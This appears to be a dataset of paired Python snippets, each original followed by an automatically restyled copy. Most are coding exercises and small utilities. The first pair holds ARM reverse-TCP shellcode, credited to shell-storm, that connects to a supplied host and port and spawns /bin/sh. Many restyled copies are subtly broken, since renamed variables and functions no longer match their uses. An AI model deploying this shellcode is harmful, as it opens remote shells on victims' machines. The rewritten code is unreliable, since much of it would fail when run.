#http://shell-storm.org/shellcode/files/shellcode-821.php def reverse_tcp( HOST,PORT): shellcode = r"\x01\x10\x8F\xE2" shellcode += r"\x11\xFF\x2F\xE1" shellcode += r"\x02\x20\x01\x21" shellcode += r"\x92\x1a\x0f\x02" shellcode += r"\x19\x37\x01\xdf" shellcode += r"\x06\x1c\x08\xa1" shellcode += r"\x10\x22\x02\x37" shellcode += r"\x01\xdf\x3f\x27" shellcode += r"\x02\x21" shellcode += r"\x30\x1c\x01\xdf" shellcode += r"\x01\x39\xfb\xd5" shellcode += r"\x05\xa0\x92\x1a" shellcode += r"\x05\xb4\x69\x46" shellcode += r"\x0b\x27\x01\xdf" shellcode += r"\xc0\x46" shellcode += r"\x02\x00" shellcode += PORT shellcode += r"\x13\x37" shellcode += HOST shellcode += r"\x2f\x62\x69\x6e\x2f\x73\x68" return shellcode
def reverse_tcp(HOST, PORT): shellcode = '\\x01\\x10\\x8F\\xE2' shellcode += '\\x11\\xFF\\x2F\\xE1' shellcode += '\\x02\\x20\\x01\\x21' shellcode += '\\x92\\x1a\\x0f\\x02' shellcode += '\\x19\\x37\\x01\\xdf' shellcode += '\\x06\\x1c\\x08\\xa1' shellcode += '\\x10\\x22\\x02\\x37' shellcode += '\\x01\\xdf\\x3f\\x27' shellcode += '\\x02\\x21' shellcode += '\\x30\\x1c\\x01\\xdf' shellcode += '\\x01\\x39\\xfb\\xd5' shellcode += '\\x05\\xa0\\x92\\x1a' shellcode += '\\x05\\xb4\\x69\\x46' shellcode += '\\x0b\\x27\\x01\\xdf' shellcode += '\\xc0\\x46' shellcode += '\\x02\\x00' shellcode += PORT shellcode += '\\x13\\x37' shellcode += HOST shellcode += '\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68' return shellcode
class Solution(object): def romanToInt(self, s): """ :type s: str :rtype: int """ integer = 0 values = {'M': 1000, 'D': 500, 'C': 100, 'L': 50, 'X': 10, 'V': 5, 'I': 1} left = 1000 for i in s: integer = integer + values[i] - 2 * (left < values[i]) * left left = values[i] return integer
class Solution(object): def roman_to_int(self, s): """ :type s: str :rtype: int """ integer = 0 values = {'M': 1000, 'D': 500, 'C': 100, 'L': 50, 'X': 10, 'V': 5, 'I': 1} left = 1000 for i in s: integer = integer + values[i] - 2 * (left < values[i]) * left left = values[i] return integer
# https://www.geeksforgeeks.org/partition-a-set-into-two-subsets-such-that-the-difference-of-subset-sums-is-minimum/ def helper(arr, n, path, s): if n == 0: return abs((s - path) - path) return min( helper(arr, n-1, path+arr[n], s), helper(arr, n-1, path, s) ) def solve(arr): n = len(arr) s = sum(arr) dp = [ [False] * (s+1) for _ in range(n+1) ] for i in range(n+1): dp[i][0] = True for i in range(1, s+1): dp[0][i] = False for i in range(1, n+1): for j in range(1, s+1): dp[i][j] = dp[i-1][j] if arr[i-1] <= j: dp[i][j] = dp[i][j] or dp[i-1][j-arr[i-1]] diff = float('inf') for j in range(s//2, -1, -1): if dp[n][j]: diff = s - 2*j break return diff assert 1 == solve([1, 6, 11, 5]) assert 1 == solve([3, 1, 4, 2, 2, 1])
def helper(arr, n, path, s): if n == 0: return abs(s - path - path) return min(helper(arr, n - 1, path + arr[n], s), helper(arr, n - 1, path, s)) def solve(arr): n = len(arr) s = sum(arr) dp = [[False] * (s + 1) for _ in range(n + 1)] for i in range(n + 1): dp[i][0] = True for i in range(1, s + 1): dp[0][i] = False for i in range(1, n + 1): for j in range(1, s + 1): dp[i][j] = dp[i - 1][j] if arr[i - 1] <= j: dp[i][j] = dp[i][j] or dp[i - 1][j - arr[i - 1]] diff = float('inf') for j in range(s // 2, -1, -1): if dp[n][j]: diff = s - 2 * j break return diff assert 1 == solve([1, 6, 11, 5]) assert 1 == solve([3, 1, 4, 2, 2, 1])
## Shortest Word ## 7 kyu ## https://www.codewars.com/kata/57cebe1dc6fdc20c57000ac9 def find_short(s): # your code here return sorted([len(word) for word in s.split()])[0]
def find_short(s): return sorted([len(word) for word in s.split()])[0]
nums = 34 coins= [1,2,5,10] temp = nums dp = [float("inf") for _ in range(nums)] dp[0] = 0 for i in range(1,nums): for j in range(len(coins)): if(coins[j] <= nums): dp[i] = min(dp[i], dp[i-coins[j]]+1) print(dp) print(dp[nums-1])
nums = 34 coins = [1, 2, 5, 10] temp = nums dp = [float('inf') for _ in range(nums)] dp[0] = 0 for i in range(1, nums): for j in range(len(coins)): if coins[j] <= nums: dp[i] = min(dp[i], dp[i - coins[j]] + 1) print(dp) print(dp[nums - 1])
model_name_mapping = { 'baseline': 'Baseline', # dnn 'single_regression_2': 'SingleRegression_a', 'single_regression_11': 'SingleRegression_b', 'single_classification_22': 'SingleClassification_a', 'single_classification_42': 'SingleClassification_b', 'multi_classification_15': 'MultiClassification_a', 'multi_classification_18': 'MultiClassification_b', 'vanilla_lstm_8': 'LSTM_a', 'vanilla_lstm_19': 'LSTM_b', # random forest 'random_forest_12': 'RandomForest_a', 'random_forest_13': 'RandomForest_b', 'random_forest_14': 'RandomForest_c', 'random_forest_24': 'RandomForest_d', 'random_forest_25': 'RandomForest_e', 'random_forest_72': 'RandomForest_f', 'random_forest_96': 'RandomForest_g', 'random_forest_97': 'RandomForest_h', # irv 'irv_5': 'IRV_a', 'irv_10': 'IRV_b', 'irv_20': 'IRV_c', 'irv_40': 'IRV_d', 'irv_80': 'IRV_e', # docking 'dockscore_hybrid': 'Docking_hybrid', 'dockscore_fred': 'Docking_fred', 'dockscore_dock6': 'Docking_dock6', 'dockscore_rdockint': 'Docking_rdockint', 'dockscore_rdocktot': 'Docking_rdocktot', 'dockscore_surflex': 'Docking_surflex', 'dockscore_ad4': 'Docking_ad4', 'dockscore_plants': 'Docking_plants', 'dockscore_smina': 'Docking_smina', 'consensus_dockscore_max': 'ConsensusDocking_max', 'consensus_bcs_efr1_opt': 'ConsensusDocking_efr1_opt', 'consensus_bcs_rocauc_opt': 'ConsensusDocking_rocauc_opt', 'consensus_dockscore_median': 'ConsensusDocking_median', 'consensus_dockscore_mean': 'ConsensusDocking_mean', }
model_name_mapping = {'baseline': 'Baseline', 'single_regression_2': 'SingleRegression_a', 'single_regression_11': 'SingleRegression_b', 'single_classification_22': 'SingleClassification_a', 'single_classification_42': 'SingleClassification_b', 'multi_classification_15': 'MultiClassification_a', 'multi_classification_18': 'MultiClassification_b', 'vanilla_lstm_8': 'LSTM_a', 'vanilla_lstm_19': 'LSTM_b', 'random_forest_12': 'RandomForest_a', 'random_forest_13': 'RandomForest_b', 'random_forest_14': 'RandomForest_c', 'random_forest_24': 'RandomForest_d', 'random_forest_25': 'RandomForest_e', 'random_forest_72': 'RandomForest_f', 'random_forest_96': 'RandomForest_g', 'random_forest_97': 'RandomForest_h', 'irv_5': 'IRV_a', 'irv_10': 'IRV_b', 'irv_20': 'IRV_c', 'irv_40': 'IRV_d', 'irv_80': 'IRV_e', 'dockscore_hybrid': 'Docking_hybrid', 'dockscore_fred': 'Docking_fred', 'dockscore_dock6': 'Docking_dock6', 'dockscore_rdockint': 'Docking_rdockint', 'dockscore_rdocktot': 'Docking_rdocktot', 'dockscore_surflex': 'Docking_surflex', 'dockscore_ad4': 'Docking_ad4', 'dockscore_plants': 'Docking_plants', 'dockscore_smina': 'Docking_smina', 'consensus_dockscore_max': 'ConsensusDocking_max', 'consensus_bcs_efr1_opt': 'ConsensusDocking_efr1_opt', 'consensus_bcs_rocauc_opt': 'ConsensusDocking_rocauc_opt', 'consensus_dockscore_median': 'ConsensusDocking_median', 'consensus_dockscore_mean': 'ConsensusDocking_mean'}
class QueryContinueDragEventArgs(RoutedEventArgs): """ Contains arguments for the System.Windows.DragDrop.QueryContinueDrag event. """ Action=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets or sets the current status of the associated drag-and-drop operation. Get: Action(self: QueryContinueDragEventArgs) -> DragAction Set: Action(self: QueryContinueDragEventArgs)=value """ EscapePressed=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets a Boolean value indicating whether the ESC key has been pressed. Get: EscapePressed(self: QueryContinueDragEventArgs) -> bool """ KeyStates=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets a flag enumeration indicating the current state of the SHIFT,CTRL,and ALT keys,as well as the state of the mouse buttons. Get: KeyStates(self: QueryContinueDragEventArgs) -> DragDropKeyStates """
class Querycontinuedrageventargs(RoutedEventArgs): """ Contains arguments for the System.Windows.DragDrop.QueryContinueDrag event. """ action = property(lambda self: object(), lambda self, v: None, lambda self: None) 'Gets or sets the current status of the associated drag-and-drop operation.\n\n\n\nGet: Action(self: QueryContinueDragEventArgs) -> DragAction\n\n\n\nSet: Action(self: QueryContinueDragEventArgs)=value\n\n' escape_pressed = property(lambda self: object(), lambda self, v: None, lambda self: None) 'Gets a Boolean value indicating whether the ESC key has been pressed.\n\n\n\nGet: EscapePressed(self: QueryContinueDragEventArgs) -> bool\n\n\n\n' key_states = property(lambda self: object(), lambda self, v: None, lambda self: None) 'Gets a flag enumeration indicating the current state of the SHIFT,CTRL,and ALT keys,as well as the state of the mouse buttons.\n\n\n\nGet: KeyStates(self: QueryContinueDragEventArgs) -> DragDropKeyStates\n\n\n\n'
def isfirstwordtitle(txt): allchars = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' '] for char in allchars: if txt.startswith(char): return True return False def islower(txt,checknum=0): txt = txt.replace(' ','') allchars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' '] if checknum == 0: for char in txt: checknum += 1 for char2 in range(0,checknum): char1 = txt[char2] for char in allchars: if char1 == char: c = True break else: c = False if not c: return False return True def istitle(txt,count=0): txt = txt.replace(' ','') txt = txt.split() counter = 0 if count == 0: for item in txt: count += 1 else: count -= 1 for item in txt: if counter > count: del txt[counter] counter += 1 for word in txt: if not isfirstwordtitle(word): return False return True def isupper(txt,checknum=0): allchars = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' '] txt = txt.replace(' ','') if checknum == 0: for char in txt: checknum += 1 for char2 in range(0,checknum): char1 = txt[char2] for char in allchars: if char1 == char: c = True break else: c=False if not c: return False return True def getupper(txt): line = 0 allchars = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] upperline = [] for char in txt: line += 1 if char in allchars: upperline.append(line) else: if not char in ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']: raise SyntaxError(f'Unknown Character at character {str(line)}.') if str(upperline) != '[]': return upperline def getlower(txt): line = 0 allchars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] lowerline = [] for char in txt: line += 1 if char in allchars: lowerline.append(line) else: if not char in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']: raise SyntaxError(f'Unknown Character at character {str(line)}.') if str(lowerline) != '[]': return lowerline
def isfirstwordtitle(txt): allchars = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' '] for char in allchars: if txt.startswith(char): return True return False def islower(txt, checknum=0): txt = txt.replace(' ', '') allchars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ' '] if checknum == 0: for char in txt: checknum += 1 for char2 in range(0, checknum): char1 = txt[char2] for char in allchars: if char1 == char: c = True break else: c = False if not c: return False return True def istitle(txt, count=0): txt = txt.replace(' ', '') txt = txt.split() counter = 0 if count == 0: for item in txt: count += 1 else: count -= 1 for item in txt: if counter > count: del txt[counter] counter += 1 for word in txt: if not isfirstwordtitle(word): return False return True def isupper(txt, checknum=0): allchars = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' '] txt = txt.replace(' ', '') if checknum == 0: for char in txt: checknum += 1 for char2 in range(0, checknum): char1 = txt[char2] for char in allchars: if char1 == char: c = True break else: c = False if not c: return False return True def getupper(txt): line = 0 allchars = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] upperline = [] for char in txt: line += 1 if char in allchars: upperline.append(line) elif not char in ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']: raise syntax_error(f'Unknown Character at character {str(line)}.') if str(upperline) != '[]': return upperline def getlower(txt): line = 0 allchars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] lowerline = [] for char in txt: line += 1 if char in allchars: lowerline.append(line) elif not char in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']: raise syntax_error(f'Unknown Character at character {str(line)}.') if str(lowerline) != '[]': return lowerline
# Checks if all characters of a string are alphanumeric (a-z, A-Z and 0-9). c = "qA2" print(c.isalnum()) # Checks if all the characters of a string are alphabetical (a-z and A-Z). print(c.isalpha()) # Checks if all characters in a string are digits. print(c.isdigit()) # Checks if all characters in a string are lowercase print(c.islower()) # Checks if all characters of a string are uppercase print(c.isupper()) def is_al_num(s): return s.isalnum() def alpha(s): return s.isalpha() def run_method_for_each_char(s): print(any([char.isalnum() for char in s])) print(any([char.isalpha() for char in s])) print(any([char.isdigit() for char in s])) print(any([char.islower() for char in s])) print(any([char.isupper() for char in s])) if __name__ == "__main__": run_method_for_each_char(c)
c = 'qA2' print(c.isalnum()) print(c.isalpha()) print(c.isdigit()) print(c.islower()) print(c.isupper()) def is_al_num(s): return s.isalnum() def alpha(s): return s.isalpha() def run_method_for_each_char(s): print(any([char.isalnum() for char in s])) print(any([char.isalpha() for char in s])) print(any([char.isdigit() for char in s])) print(any([char.islower() for char in s])) print(any([char.isupper() for char in s])) if __name__ == '__main__': run_method_for_each_char(c)
"""modular.py Modular arithmetic helpers """ def modular_multiply(A, B, C): """Finds `(A * B) mod C` This is equivalent to: `(A mod C * B mod C) mod C` https://www.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/modular-multiplication https://www.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/the-quotient-remainder-theorem """ a_mod_c = A % C b_mod_c = B % C result = (a_mod_c * b_mod_c) % C return result
"""modular.py Modular arithmetic helpers """ def modular_multiply(A, B, C): """Finds `(A * B) mod C` This is equivalent to: `(A mod C * B mod C) mod C` https://www.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/modular-multiplication https://www.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/the-quotient-remainder-theorem """ a_mod_c = A % C b_mod_c = B % C result = a_mod_c * b_mod_c % C return result
# -*- coding: utf-8 -*- class ClassTest: def __init__(self, value1, value2): self.value1 = value1 self._value2 = value2 @property def value2(self): return self._value2 @value2.setter def value2(self, value): self._value2 = value
class Classtest: def __init__(self, value1, value2): self.value1 = value1 self._value2 = value2 @property def value2(self): return self._value2 @value2.setter def value2(self, value): self._value2 = value
s=0 tot =0 for c in range(1, 500, 2): if (c % 3) == 0: s += c tot += 1 print(s) print(tot)
s = 0 tot = 0 for c in range(1, 500, 2): if c % 3 == 0: s += c tot += 1 print(s) print(tot)
#!/usr/bin/python3 for a in range(1, 400): for b in range(1, 400): c = (1000 - a) - b if a < b < c: if a**2 + b**2 == c**2: print(a * b * c)
for a in range(1, 400): for b in range(1, 400): c = 1000 - a - b if a < b < c: if a ** 2 + b ** 2 == c ** 2: print(a * b * c)
# Advent of Code - Day 8 - Part Two def result(data): digits = { 2: 1, 4: 4, 3: 7, 7: 8 } count = 0 for line in data: a, b = line.split(' | ') for word in b.split(' '): x = len(word) if digits.get(x): count += 1 return count
def result(data): digits = {2: 1, 4: 4, 3: 7, 7: 8} count = 0 for line in data: (a, b) = line.split(' | ') for word in b.split(' '): x = len(word) if digits.get(x): count += 1 return count
def staircase(n): num_dict = dict({}) return staircase_faster(n, num_dict) def staircase_faster(n, num_dict): if n == 1: output = 1 elif n == 2: output = 2 elif n == 3: output = 4 else: if (n - 1) in num_dict: first_output = num_dict[n - 1] else: first_output = staircase_faster(n - 1, num_dict) if (n - 2) in num_dict: second_output = num_dict[n - 2] else: second_output = staircase_faster(n - 2, num_dict) if (n - 3) in num_dict: third_output = num_dict[n - 3] else: third_output = staircase_faster(n - 3, num_dict) output = first_output + second_output + third_output num_dict[n] = output; return output
def staircase(n): num_dict = dict({}) return staircase_faster(n, num_dict) def staircase_faster(n, num_dict): if n == 1: output = 1 elif n == 2: output = 2 elif n == 3: output = 4 else: if n - 1 in num_dict: first_output = num_dict[n - 1] else: first_output = staircase_faster(n - 1, num_dict) if n - 2 in num_dict: second_output = num_dict[n - 2] else: second_output = staircase_faster(n - 2, num_dict) if n - 3 in num_dict: third_output = num_dict[n - 3] else: third_output = staircase_faster(n - 3, num_dict) output = first_output + second_output + third_output num_dict[n] = output return output
""" Code taken from fsl.py https://git.fmrib.ox.ac.uk/fsl/fslpy Copyright 2016-2017 University of Oxford, Oxford, UK. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ def isNoisyComponent(labels, signalLabels=None): """Given a set of component labels, returns ``True`` if the component is ultimately classified as noise, ``False`` otherwise. :arg signalLabels: Labels which are deemed signal. If a component has no labels in this list, it is deemed noise. Defaults to ``['Signal', 'Unknown']``. """ if signalLabels is None: signalLabels = ['signal', 'unknown'] signalLabels = [l.lower() for l in signalLabels] labels = [l.lower() for l in labels] noise = not any([sl in labels for sl in signalLabels]) return noise def saveLabelFile(allLabels, filename, dirname=None, listBad=True, signalLabels=None): """Saves the given classification labels to the specified file. The classifications are saved in the format described in the :func:`loadLabelFile` method. :arg allLabels: A list of lists, one list for each component, where each list contains the labels for the corresponding component. :arg filename: Name of the file to which the labels should be saved. :arg dirname: If provided, is output as the first line of the file. Intended to be a relative path to the MELODIC analysis directory with which this label file is associated. If not provided, a ``'.'`` is output as the first line. :arg listBad: If ``True`` (the default), the last line of the file will contain a comma separated list of components which are deemed 'noisy' (see :func:`isNoisyComponent`). :arg signalLabels: Labels which should be deemed 'signal' - see the :func:`isNoisyComponent` function. """ lines = [] noisyComps = [] # The first line - the melodic directory name if dirname is None: dirname = '.' lines.append(dirname) for i, labels in enumerate(allLabels): comp = i + 1 noise = isNoisyComponent(labels, signalLabels) labels = [l.replace(',', '_') for l in labels] tokens = [str(comp)] + labels + [str(noise)] lines.append(', '.join(tokens)) if noise: noisyComps.append(comp) if listBad: lines.append('[' + ', '.join([str(c) for c in noisyComps]) + ']') with open(filename, 'wt') as f: f.write('\n'.join(lines) + '\n')
""" Code taken from fsl.py https://git.fmrib.ox.ac.uk/fsl/fslpy Copyright 2016-2017 University of Oxford, Oxford, UK. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ def is_noisy_component(labels, signalLabels=None): """Given a set of component labels, returns ``True`` if the component is ultimately classified as noise, ``False`` otherwise. :arg signalLabels: Labels which are deemed signal. If a component has no labels in this list, it is deemed noise. Defaults to ``['Signal', 'Unknown']``. """ if signalLabels is None: signal_labels = ['signal', 'unknown'] signal_labels = [l.lower() for l in signalLabels] labels = [l.lower() for l in labels] noise = not any([sl in labels for sl in signalLabels]) return noise def save_label_file(allLabels, filename, dirname=None, listBad=True, signalLabels=None): """Saves the given classification labels to the specified file. The classifications are saved in the format described in the :func:`loadLabelFile` method. :arg allLabels: A list of lists, one list for each component, where each list contains the labels for the corresponding component. :arg filename: Name of the file to which the labels should be saved. :arg dirname: If provided, is output as the first line of the file. Intended to be a relative path to the MELODIC analysis directory with which this label file is associated. If not provided, a ``'.'`` is output as the first line. :arg listBad: If ``True`` (the default), the last line of the file will contain a comma separated list of components which are deemed 'noisy' (see :func:`isNoisyComponent`). :arg signalLabels: Labels which should be deemed 'signal' - see the :func:`isNoisyComponent` function. """ lines = [] noisy_comps = [] if dirname is None: dirname = '.' lines.append(dirname) for (i, labels) in enumerate(allLabels): comp = i + 1 noise = is_noisy_component(labels, signalLabels) labels = [l.replace(',', '_') for l in labels] tokens = [str(comp)] + labels + [str(noise)] lines.append(', '.join(tokens)) if noise: noisyComps.append(comp) if listBad: lines.append('[' + ', '.join([str(c) for c in noisyComps]) + ']') with open(filename, 'wt') as f: f.write('\n'.join(lines) + '\n')
def firstNonRepeatingCharacter(string): """ This function takes a string and find the first character in the string which is non-repeating. This implementation is of O(n) time complexity and O(1) space complexity where n is the length of the string and all chars in the string are lowecase that is why only 26 key value pairs in the hash table which is of O(1) space complexity. args: -------------- string (str) : a string of lowercase characters output: -------------- index (int): index of first character in the string which is non repeating """ # make a dictionary with each char in string as key and occurrence as value charOccurrence = {} for char in string: charOccurrence[char] = charOccurrence.get(char, 0) + 1 # iterate through the string and find lowest index which has occurrence 1 for i in range(len(string)): if charOccurrence[string[i]] == 1: return i return -1
def first_non_repeating_character(string): """ This function takes a string and find the first character in the string which is non-repeating. This implementation is of O(n) time complexity and O(1) space complexity where n is the length of the string and all chars in the string are lowecase that is why only 26 key value pairs in the hash table which is of O(1) space complexity. args: -------------- string (str) : a string of lowercase characters output: -------------- index (int): index of first character in the string which is non repeating """ char_occurrence = {} for char in string: charOccurrence[char] = charOccurrence.get(char, 0) + 1 for i in range(len(string)): if charOccurrence[string[i]] == 1: return i return -1
if __name__ == "__main__": primes = [2, 3, 5, 7, 11, 13, 17, 19] s = 1 m = 1 for i in range(1, 21): if i in primes: s *= i m *= i elif m % i == 0: pass elif m % i != 0: j = m while True: j += s if j % i == 0: m = j s = j break print(m)
if __name__ == '__main__': primes = [2, 3, 5, 7, 11, 13, 17, 19] s = 1 m = 1 for i in range(1, 21): if i in primes: s *= i m *= i elif m % i == 0: pass elif m % i != 0: j = m while True: j += s if j % i == 0: m = j s = j break print(m)
# Program to push , pop and display elements of a stack st = [] r = [] def push(): print('--STACK--') x = int(input('Book_No: ')) y = input('Book_Name: ') r = [x, y] st.append(r) def display(): if len(st) > 0: for i in range(len(st)-1, -1, -1): print(st[i]) else: print('Underflow') def pop(): if st[0] == (): print('Underflow!') else: p = int(input('Index of element to pop: ')) r.pop(p) print(f'Element popped is {r} from {st} with position {p}') while True: ch = int(input('Enter choice: ')) if ch == 1: m = int(input('Enter no. of elements: ')) for i in range(m): push() elif ch == 2: display() elif ch == 3: pop() elif ch == 4: exit() else: print('Invalid choice!')
st = [] r = [] def push(): print('--STACK--') x = int(input('Book_No: ')) y = input('Book_Name: ') r = [x, y] st.append(r) def display(): if len(st) > 0: for i in range(len(st) - 1, -1, -1): print(st[i]) else: print('Underflow') def pop(): if st[0] == (): print('Underflow!') else: p = int(input('Index of element to pop: ')) r.pop(p) print(f'Element popped is {r} from {st} with position {p}') while True: ch = int(input('Enter choice: ')) if ch == 1: m = int(input('Enter no. of elements: ')) for i in range(m): push() elif ch == 2: display() elif ch == 3: pop() elif ch == 4: exit() else: print('Invalid choice!')
class SiteConfig(dict): def update(self, d, **kwargs): filtered_d = {k: v for k, v in d.items() if v is not None} super().update(filtered_d, **kwargs) @staticmethod def default(): return SiteConfig( { "depth": 5, "delay": 1.5, "ua": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "following": "", "selenium": False, } )
class Siteconfig(dict): def update(self, d, **kwargs): filtered_d = {k: v for (k, v) in d.items() if v is not None} super().update(filtered_d, **kwargs) @staticmethod def default(): return site_config({'depth': 5, 'delay': 1.5, 'ua': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'following': '', 'selenium': False})
contoh_list = [1, 'dua', 3, 4.0, 5] print(contoh_list[0]) print(contoh_list[3]) contoh_list = [1, 'dua', 3, 4.0, 5] contoh_list[3] = 'empat' print(contoh_list[3])
contoh_list = [1, 'dua', 3, 4.0, 5] print(contoh_list[0]) print(contoh_list[3]) contoh_list = [1, 'dua', 3, 4.0, 5] contoh_list[3] = 'empat' print(contoh_list[3])
# -*- coding: utf-8 -*- # this file is released under public domain and you can use without limitations ######################################################################### ## Customize your APP title, subtitle and menus here ######################################################################### response.logo = A(B('QualityPost'),XML('&trade;&nbsp;'), _class="brand",_href="http://www.qualitypost.com.mx/") #response.title = request.application.replace('_',' ').title() response.title = 'Asignacion Interactiva de Mensajes' response.subtitle = 'Cliente: ' ## read more at http://dev.w3.org/html5/markup/meta.name.html response.meta.author = 'Armando Hernandez <ahernandez@lettershopmexico.com>' response.meta.keywords = 'web2py, python, framework' response.meta.generator = 'Web2py Web Framework' ## your http://google.com/analytics id response.google_analytics_id = None ######################################################################### ## this is the main application menu add/remove items as required ######################################################################### response.menu = [ (T('Home'), False, URL('default', 'index'), []) ] if "auth" in locals(): auth.wikimenu()
response.logo = a(b('QualityPost'), xml('&trade;&nbsp;'), _class='brand', _href='http://www.qualitypost.com.mx/') response.title = 'Asignacion Interactiva de Mensajes' response.subtitle = 'Cliente: ' response.meta.author = 'Armando Hernandez <ahernandez@lettershopmexico.com>' response.meta.keywords = 'web2py, python, framework' response.meta.generator = 'Web2py Web Framework' response.google_analytics_id = None response.menu = [(t('Home'), False, url('default', 'index'), [])] if 'auth' in locals(): auth.wikimenu()
# spaceobj.py # A space object. # Basically, anything that exists on the starmap. NONETYPE = 0 FLEETTYPE = 1 STARTYPE = 2 class SpaceObj: name = "" x = 0 y = 0 # This is often a class variable... sprite = () def __init__( s ): pass def moveTo( s, x, y ): s.x = x s.y = y def getLocation( s ): return (s.x, s.y) def prepareSprite( self ): self.sprite.setAnim( 0 ) # There has GOT TO BE A BETTER WAY!!! def getType( s ): return NONETYPE def draw( s, surface, screenx, screeny, screenw, screenh ): minx = screenx maxx = screenx + screenw miny = screeny maxy = screeny + screenh # So if you override getLocation() (like fleet.py does), you can # make something act like it's somewhere it isn't, without # overriding this function. locx, locy = s.getLocation() if (locx >= minx and locx < maxx) and (locy >= miny and locy < maxy): objx = locx - screenx - (s.sprite.getW() / 2) objy = locy - screeny - (s.sprite.getH() / 2) s.prepareSprite() s.sprite.draw( surface, objx, objy )
nonetype = 0 fleettype = 1 startype = 2 class Spaceobj: name = '' x = 0 y = 0 sprite = () def __init__(s): pass def move_to(s, x, y): s.x = x s.y = y def get_location(s): return (s.x, s.y) def prepare_sprite(self): self.sprite.setAnim(0) def get_type(s): return NONETYPE def draw(s, surface, screenx, screeny, screenw, screenh): minx = screenx maxx = screenx + screenw miny = screeny maxy = screeny + screenh (locx, locy) = s.getLocation() if (locx >= minx and locx < maxx) and (locy >= miny and locy < maxy): objx = locx - screenx - s.sprite.getW() / 2 objy = locy - screeny - s.sprite.getH() / 2 s.prepareSprite() s.sprite.draw(surface, objx, objy)
x = y = direction = 0 moves = open('input.txt', 'r').readline().strip().split(', ') for move in moves: if move[0] == 'L': if direction == 0: direction = 3 else: direction -= 1 elif move[0] == 'R': if direction == 3: direction = 0 else: direction += 1 dist = int(''.join(move[1:])) if direction == 0: y -= dist elif direction == 1: x += dist elif direction == 2: y += dist elif direction == 3: x -= dist print(abs(x) + abs(y)) input()
x = y = direction = 0 moves = open('input.txt', 'r').readline().strip().split(', ') for move in moves: if move[0] == 'L': if direction == 0: direction = 3 else: direction -= 1 elif move[0] == 'R': if direction == 3: direction = 0 else: direction += 1 dist = int(''.join(move[1:])) if direction == 0: y -= dist elif direction == 1: x += dist elif direction == 2: y += dist elif direction == 3: x -= dist print(abs(x) + abs(y)) input()
with open('input.txt') as f: lines = f.readlines() count = 0 prevSum = 0 for i in range(len(lines)): if i + 3 > len(lines): break newSum = int(lines[i]) + int(lines[i + 1]) + int(lines[i + 2]) if prevSum != 0: if newSum > prevSum: count += 1 prevSum = newSum print(count)
with open('input.txt') as f: lines = f.readlines() count = 0 prev_sum = 0 for i in range(len(lines)): if i + 3 > len(lines): break new_sum = int(lines[i]) + int(lines[i + 1]) + int(lines[i + 2]) if prevSum != 0: if newSum > prevSum: count += 1 prev_sum = newSum print(count)
